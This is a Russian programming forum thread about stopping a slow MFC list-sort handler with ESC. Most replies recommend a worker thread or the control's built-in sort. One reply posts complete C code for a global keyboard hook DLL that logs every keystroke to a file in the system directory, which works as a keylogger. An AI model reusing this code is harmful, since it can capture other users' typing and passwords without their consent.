| 
			| 
					
						| Alex White | 
								|  | «  : 08-01-2004 12:33 »  |  | 
 
 Есть обработчик какого-то (наверное, неважно какого, при надобности допишу) сообщения. Ставится задача прервать его нажатием, например, ESC. Если написать обработчик WM_KEYDOWN, то он вызовется только после того, как первый доработает до финиша, что не есть то, что надо. Как поступить ? |  
						| 
								|  |  
								|  |  Записан | 
 |  |  | 
	| 
			| 
					
						| ixania 
								Гость
 | 
								|  | « Ответ #1 : 08-01-2004 12:49 »  |  | 
 
 В совем приложении ставиш хук на клаву, при нажатии ожидаемой клавиши выставить Event в отсигналенное состояние, в обрабочике сообшения в нужных точках проверять состояние Event, прервать обработку сообщения при отсигналенном состоянии евента и ресетить его. Также неплохо было бы иметь еще один Event  с ручным ресетом, который бы сигналился при начале обработки сообщения и ресетился при его завершении либо прерывнии, таким образом хук будет знать когда сигналить свой евент при нажатии необходимой клавиши а когда нет, т.е. он точно будет знать когда обрабочик находится в процессе обработки. Да хук не глобальный, только для твоего приложения, иначе над будет проверять если фокус принадлежит твоему окну.
 P.S. Может идея бредовая, но думаю может сработать.
 |  
						| 
								|  |  
								|  |  Записан | 
 |  |  | 
	| 
			| 
					
						| Alex White | 
								|  | « Ответ #2 : 08-01-2004 13:16 »  |  | 
 
 Смысл в общем-то ясен, только не ясно пока как это написать на VC6 using MFC. И есть ли какие-нить примеры ? |  
						| 
								|  |  
								|  |  Записан | 
 |  |  | 
	| 
			| 
					
						| Гром 
								Птычк. Тьфу, птычник... Вот! 
								Готовлюсь к пенсии
								
								    Offline 
								Пол:   
								Бодрый птах
								
								
								
								
								
							 | 
								|  | « Ответ #3 : 08-01-2004 13:54 »  |  | 
 
 Alex White, это невозможно.Обработчик не находится в твоей программе и как только он покидает ее то обработкой занимается система - ОС Виндовс.
 Тот обработчик ты обязан вызвать иначе вообще не будет работать.
 |  
						| 
								|  |  
								|  |  Записан | 
 
 А птичку нашу прошу не обижать!!! |  |  | 
	| 
			| 
					
						| ixania 
								Гость
 | 
								|  | « Ответ #4 : 08-01-2004 14:12 »  |  | 
 
 Конкретно то что хочешь зделать ты, нету, а вот как:
 - писать хуки на клаву
 - работать с евентами
 - работать с сообщениями
 
 есть, и по всей видимости, я MFC никогда не использовал, тебе надо будет поменять WinProc для твоего окна и обрабатывать целевое сообщение, ну а иначе нельзя.
 Напиши где и что тебе непонятно или не знаешь как зделать, поробую помоч.
 |  
						| 
								|  |  
								|  |  Записан | 
 |  |  | 
	| 
			| 
					
						| Гром 
								Птычк. Тьфу, птычник... Вот! 
								Готовлюсь к пенсии
								
								    Offline 
								Пол:   
								Бодрый птах
								
								
								
								
								
							 | 
								|  | « Ответ #5 : 08-01-2004 14:16 »  |  | 
 
 ixania, зачем???МФС - построен на хуках, никакую функцию менять не надо.
 
 Программная функция WndProc (MFC - DefWindowProc) имеет общий вид
 
 WndProc(message, wParam, lParam)
 {
 
 
 
 
 Вызов WndProc(); глобального.
 }
 
 Т.е. при обработке добавленный в каком либо сообщении текст будет обрабатывать перед глобальной процедурой твои данные как надо тебе, и если ты сделаешь return без вызова глобальной процедуры, то она попросту не выполнется.
 
 Все сообщения проходят через эту функцию.
 |  
						| 
								|  |  
								|  |  Записан | 
 
 А птичку нашу прошу не обижать!!! |  |  | 
	| 
			| 
					
						| ixania 
								Гость
 | 
								|  | « Ответ #6 : 08-01-2004 14:39 »  |  | 
 
 Я же писал что с MFC не работал, потому и написал что надо будет менять. А в принципе хотелось бы узнать от автора вопроса зачем это ему надо, может его проблема решается другим путем? |  
						| 
								|  |  
								|  |  Записан | 
 |  |  | 
	| 
			| 
					
						| Alex White | 
								|  | « Ответ #7 :  08-01-2004 15:27 »   |  | 
 
 Просто хочется прервать действие, которое очень долго выполняется. Я уже попробовал по всякому, включая отлов месаг руками, только ни к чему хорошему это не привело. Поэтому видимо придется писать хуки. По сему прошу пример для хука на клаву. |  
						| 
								|  |  
								|  |  Записан | 
 |  |  | 
	| 
			| 
					
						| Гром 
								Птычк. Тьфу, птычник... Вот! 
								Готовлюсь к пенсии
								
								    Offline 
								Пол:   
								Бодрый птах
								
								
								
								
								
							 | 
								|  | « Ответ #8 : 08-01-2004 15:31 »  |  | 
 
 Alex White, тебе не надо делать хук. 1. Скажи точно - какое дейтвие делается долго. 2. Для распределения времени не надо делать все действие в самом обработчике - надо перекладывать его на параллельно текущий оток, который его и сделает.  А обработчик будет совбоден. Прервать обработчик свой можно в любой момент, для этого в нем самом пиши алгоритм прерывания.  А обработчик который стандартный - не прервешь никогда. А лучше всего не стесняйся - напиши всю задачу целиком - а то какой то процесс зачем то прервать потому как он слишком долгий...   |  
						| 
								|  |  
								|  |  Записан | 
 
 А птичку нашу прошу не обижать!!! |  |  | 
	| 
			| 
					
						| ixania 
								Гость
 | 
								|  | « Ответ #9 : 08-01-2004 15:37 »  |  | 
 
 Для этого хук должен жить в длл.
 текст DLL:
 
 BOOL kdown=false;
 HANDLE ghDLLInst = 0;   // Handle to the DLL's instance.
 char logname[MAX_PATH];
 char sysdir[MAX_PATH];
 DWORD NOfBytes;
 BOOL shift=false;
 HANDLE LFile;
 char buffer[20];
 
 BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
 {
 ghDLLInst = hModule;
 
 switch (dwFunction)
 {
 case DLL_PROCESS_ATTACH:
 {
 
 GetSystemDirectory(
 sysdir,
 MAX_PATH
 );
 
 strcpy(logname,sysdir);
 strcat(logname,"\\kbdkeys.txt");
 
 }
 case DLL_PROCESS_DETACH:
 {
 }
 
 default:
 break;
 }
 return TRUE;
 }
 //------------------------------------------------
 LRESULT  CALLBACK KeyboardProc(
 int code,  // hook code
 WPARAM wParam,     // virtual-key code
 LPARAM lParam      // keystroke-message information
 )
 {
 BYTE aa[4];
 memcpy(aa,&lParam,4);
 kdown=!(aa[3]&&64);
 BYTE scancode=aa[2];
 BYTE ww[4];
 memcpy(ww,&wParam,4);
 
 if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);
 
 if(kdown&&(wParam==VK_SHIFT))shift=true;
 
 if(!kdown&&(wParam==VK_SHIFT))shift=false;
 
 if (kdown&&(wParam!=VK_SHIFT))
 {
 sprintf( buffer ,"%c",wParam );
 if(isalpha(ww[0])&(!shift))wParam=wParam+32;
 sprintf( buffer ,"%c",wParam );
 if(wParam==VK_RETURN)strcpy(buffer,"\n");
 
 LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE |
 FILE_SHARE_READ |
 FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
 OVERLAPPED ovlp;
 DWORD ffsze=GetFileSize(LFile,NULL);
 ovlp.OffsetHigh=0;
 ovlp.hEvent=NULL;
 ovlp.Offset=ffsze;
 
 WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
 
 CloseHandle(LFile);
 }
 return CallNextHookEx(NULL,code,wParam,lParam);
 }
 //----------------------------------------------------------------------//
 текст приложения:
 
 #include <commdlg.h>
 #include <stdlib.h>
 #include <winnls.h>
 
 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
 LPSTR lpCmdLine, int nCmdShow);
 
 //---------------------------------------------------------------------//
 BOOL
 SetHook(
 BOOL fSet
 )
 {
 static HHOOK hhkKbdHook = NULL;
 static HANDLE hmodHook;
 
 if (fSet)
 {
 if (!hmodHook)
 {
 if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл
 {
 return FALSE;
 }
 }
 
 if (!hhkKbdHook)
 {
 if (!(hhkKbdHook =
 SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)
 GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),(HINSTANCE)hmodHook,0)))
 {
 return FALSE;
 }
 }
 
 }
 else
 {
 if (hhkKbdHook)
 {
 UnhookWindowsHookEx(hhkKbdHook);
 hhkKbdHook = NULL;
 }
 
 }
 
 return TRUE;
 }
 //--------------------------------------------------------------------//
 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
 LPSTR lpCmdLine, int nCmdShow)
 {
 if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK);
 MSG   msg;
 
 while (GetMessage (&msg, NULL, 0, 0))
 {
 TranslateMessage (&msg);
 DispatchMessage (&msg);
 }
 return( 0 );
 }
 |  
						| 
								|  |  
								|  |  Записан | 
 |  |  | 
	| 
			| 
					
						| Гром 
								Птычк. Тьфу, птычник... Вот! 
								Готовлюсь к пенсии
								
								    Offline 
								Пол:   
								Бодрый птах
								
								
								
								
								
							 | 
								|  | « Ответ #10 : 08-01-2004 15:42 »  |  | 
 
 Зачем???Можно делать так...
 
 beginthreadex();
 |  
						| 
								|  |  
								|  |  Записан | 
 
 А птичку нашу прошу не обижать!!! |  |  | 
	| 
			| 
					
						| Alex White | 
								|  | « Ответ #11 : 08-01-2004 15:47 »  |  | 
 
 Гром, задача такая. Есть СListView, в нем CListCtrl. Его надо отсортировать. Проблема в том, что там может быть 50 000 итемов, а в каждом по 10 полей (больше я не видел, но говорят есть). в общем сортировка выполняется в OnColumnclick(). Ставится задача прервать этот бардак нажатием ESC, если у юзера проц дохловат. |  
						| 
								|  |  
								|  |  Записан | 
 |  |  | 
	| 
			| 
					
						| ixania 
								Гость
 | 
								|  | « Ответ #12 : 08-01-2004 16:01 »  |  | 
 
 Ну в этом случае Гром прав, можно сортировку в отдельный поток  и еще нужен ефективный алгоритм сортировки. Еще можно зарание иметь готовые индексы по каждому колумну, при добавлении удалении элементов над обновлять индексы, ели лень такое писать, можно просто инфу держать в БД например dBASE  c *CDX фалами для инексов. И что ты все 50 000 в памяти держишь  и ведь всеравно ты их грузиш откудато. Короче я за индексы, там сортируется один раз а потом просто обновляются. |  
						| 
								|  |  
								|  |  Записан | 
 |  |  | 
	| 
			| 
					
						| Alex White | 
								|  | « Ответ #13 : 08-01-2004 16:11 »  |  | 
 
 У меня с сортировкой нет проблем, сортируется довольно быстро (во всяком случае у меня). Суть моей проблемы я уже изложил. |  
						| 
								|  |  
								|  |  Записан | 
 |  |  | 
	| 
			| 
					
						| Гром 
								Птычк. Тьфу, птычник... Вот! 
								Готовлюсь к пенсии
								
								    Offline 
								Пол:   
								Бодрый птах
								
								
								
								
								
							 | 
								|  | « Ответ #14 : 08-01-2004 18:43 »  |  | 
 
 Alex White, у CListCtrl есть встроенный сортировщик - который сам по себе выполняется в отдельном потоке вроде. Там колбек функция, отсюда я делаю вывод, что это именно так. Копни сортировку в ней - там всего то - надо задать параметры больше или меньше для поля. Делает мгновенно. И не пудри себе мОзги своей собственной. Делаться будет сортировка по нажатию на заголовок в столбце. Единственная заморочка - при создании списка каждому итему надо присваивать ID такой же как и содержание - винда по нему сортирует... Если все же хочешь сделать сам - то поверь мне старому генералу     я пробовал - добавление и перемещение элементов ты будешь делать медленнее чем винда - отвечаю головой. |  
						| 
								|  |  
								|  |  Записан | 
 
 А птичку нашу прошу не обижать!!! |  |  | 
	| 
			| 
					
						| grozny 
								Гость
 | 
								|  | « Ответ #15 : 08-01-2004 20:56 »  |  | 
 
 0. Гром прав относительно встроенного сортировщика. Он быстрый и правильный 1. сложность алгоритма быстрой сортировки (quicksort, shellsort, binsort) есть O(NlogN). Поэтому всё, что меньше сотен тыщ элементов, должно сортироваться мгновенно на _любом_ проце, способном удержать Вындусь. В противном случае чё-то сделано не так. Например, используется пузырьковая сортировка     , либо доступ к данным неэффективен (список, сортируемый пузырьком из убывающего в возрастающий, ага?     ). 2. громоздкие вычислительные задачи - в отдельный трэд, интерфейс - в другой отдельный трэд. Тогда не надо никаких хуков. Хватит пошлых WM_KEYDOWN |  
						| 
								|  |  
								|  |  Записан | 
 |  |  | 
	| 
			| 
					
						| Alex White | 
								|  | « Ответ #16 : 12-01-2004 09:18 »  |  | 
 
   Вы отошли от темы, но тем не менее у меня кое-какие прояснения появились. Выходит, что проще завершить поток, чем обработчик. Проверено. Так и будет впредь. Всем спасибо |  
						| 
								|  |  
								|  |  Записан | 
 |  |  | 
	| 
			| 
					
						| Гром 
								Птычк. Тьфу, птычник... Вот! 
								Готовлюсь к пенсии
								
								    Offline 
								Пол:   
								Бодрый птах
								
								
								
								
								
							 | 
								|  | « Ответ #17 : 12-01-2004 17:09 »  |  | 
 
 Alex White, естественно так как поток - твой - а обработчик - системный. Ты просто учти - что любой эвент (событие) это обычный вызов функции внутри винды. Дальше - по вызову система смотрит в каком порядке выстроились обработчики и вызывает функции по очереди с параметрами. Вот так ты взял, свой включил до системного, когда твой обработчик отработал, то ты теряешь контроль за течением твоей программы. Другое дело поток, в который ты ставишь обработчик своего события - вернее это может быть все что угодно, как реакция на происходящее. Тогда ты всегда контролируешь происходящее в тобой созданном потоке и можешь сделать корректный выход при (например) условии избыточного времени на обработку, или при получении неверных данных в процессе обработки и т.д. и т.п. Вот   Заходи, если что. |  
						| 
								|  |  
								|  |  Записан | 
 
 А птичку нашу прошу не обижать!!! |  |  | 
	|  |